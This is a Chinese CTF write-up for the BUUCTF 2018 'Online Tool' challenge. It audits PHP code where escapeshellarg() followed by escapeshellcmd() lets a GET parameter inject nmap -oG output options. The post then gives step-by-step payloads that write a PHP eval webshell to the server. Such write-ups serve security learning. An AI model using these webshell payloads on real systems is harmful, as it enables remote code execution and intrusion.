我是靠谱客的博主 妩媚母鸡,这篇文章主要介绍『CTF Web复现』[BUUCTF 2018]Online Tool利用点代码审计解题Payload完,现在分享给大家,希望可以做个参考。

文章目录

  • 利用点
  • 代码审计
  • 解题
    • nmap写文件
    • escapeshellarg() + escapeshellcmd()使用不当
  • Payload

利用点

  • nmap写文件
  • escapeshellarg() + escapeshellcmd()使用不当

代码审计

复制代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR']; } if(!isset($_GET['host'])) { highlight_file(__FILE__); } else { $host = $_GET['host']; $host = escapeshellarg($host); $host = escapeshellcmd($host); $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']); echo 'you are in sandbox '.$sandbox; @mkdir($sandbox); chdir($sandbox); echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host); }

传入的GET参数$host经过escapeshellarg和escapeshellcmd处理,然后拼接到已有的nmap指令执行

解题

nmap写文件

escape转义了特殊符号,这步是不能跳出来的,只能寄希望于nmap;查阅help文档发现nmap有output写文件的功能,那么就可以写入一句话木马来RCE
在这里插入图片描述
在这里插入图片描述

可以通过-oN-oG参数写入文件

复制代码
1
2
nmap '<?php eval($_POST[a]);?>' -oN 1.php

在这里插入图片描述
那就先试试-oN

escapeshellarg() + escapeshellcmd()使用不当

起一个本地环境

复制代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php show_source(__FILE__); $cmd = $_GET["cmd"]; echo '</br>'; echo $cmd; $cmd = escapeshellarg($cmd); echo '</br>'; echo $cmd; $cmd = escapeshellcmd($cmd); echo '</br>'; echo $cmd; echo '</br>'; echo "nmap -T5 -sT -Pn --host-timeout 2 -F ".$cmd;

直接传入'<?php eval($_POST[a]);?>' -oN 1.php

复制代码
1
2
3
4
5
6
[GET]http://URL/escape.php?cmd='<?php eval($_POST[a]);?>' -oN 1.php '' -oN 1.php ''''''' -oN 1.php' ''\''<?php eval($_POST[a]);?>'\'' -oN 1.php' nmap -T5 -sT -Pn --host-timeout 2 -F ''\''<?php eval($_POST[a]);?>'\'' -oN 1.php'

执行的命令可以简化为:

复制代码
1
2
nmap <?php eval($_POST[a]); ?>'\'' -oN 1.php'

可以看见两个由于两个函数依次处理,会造成后部有引号残留问题导致命令被截断

PHP escapeshellarg()+escapeshellcmd() 之殇

那么我们将引号从-oN之前转移到最后,即传入'<?php eval($_POST[a]);?> -oN 1.php'

复制代码
1
2
3
4
5
6
[GET]http://URL/escape.php?cmd='<?php eval($_POST[a]);?> -oN 1.php' ' -oN 1.php' '''' -oN 1.php'''' ''\'' <?php eval($_POST[a]);?> -oN 1.php'\''' nmap -T5 -sT -Pn --host-timeout 2 -F ''\'' <?php eval($_POST[a]);?> -oN 1.php'\'''

相当于直接运行:

复制代码
1
2
nmap <?php eval($_POST[a]);?> -oN 1.php'\'

但是,这一步出错了,在于写文件名把最后的斜杠写进去了
在这里插入图片描述
那么我们只要在末尾引号前加一个空格即可:传入'<?php eval($_POST[a]);?> -oN 1.php ',目的是截断引号

复制代码
1
2
3
4
5
6
[GET]http://URL/escape.php?cmd='<?php eval($_POST[a]);?> -oN 1.php ' ' -oN 1.php ' '''' -oN 1.php '''' ''\''<?php eval($_POST[a]);?> -oN 1.php '\''' nmap -T5 -sT -Pn --host-timeout 2 -F ''\''<?php eval($_POST[a]);?> -oN 1.php '\'''

相当于直接运行:

复制代码
1
2
nmap <?php eval($_POST[a]);?> -oN 1.php '\'

这里的文件名就正常了
在这里插入图片描述
上传后提示出错,应该是由于-oN写入了所有提示信息,因此写入无效的句点
在这里插入图片描述
这些无效的句点被PHP解析了所以出错了

那么我们换成-oG参数,我们可以看一下两个参数写入的区别:
在这里插入图片描述
使用-oG的内容没有报错信息,那么写入的一句话木马就是完整且不会解析出错的,因此我们传入'<?php eval($_POST[a]);?> -oG 1.php ',蚁剑连接即可
在这里插入图片描述

Payload

复制代码
1
2
[GET]http://URL/?host='<?php eval($_POST[a]);?> -oG 1.php '

欢迎在评论区留言,欢迎关注我的CSDN @Ho1aAs

最后

以上就是妩媚母鸡最近收集整理的关于『CTF Web复现』[BUUCTF 2018]Online Tool利用点代码审计解题Payload完的全部内容,更多相关『CTF内容请搜索靠谱客的其他文章。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(72)

评论列表共有 0 条评论

立即
投稿
返回
顶部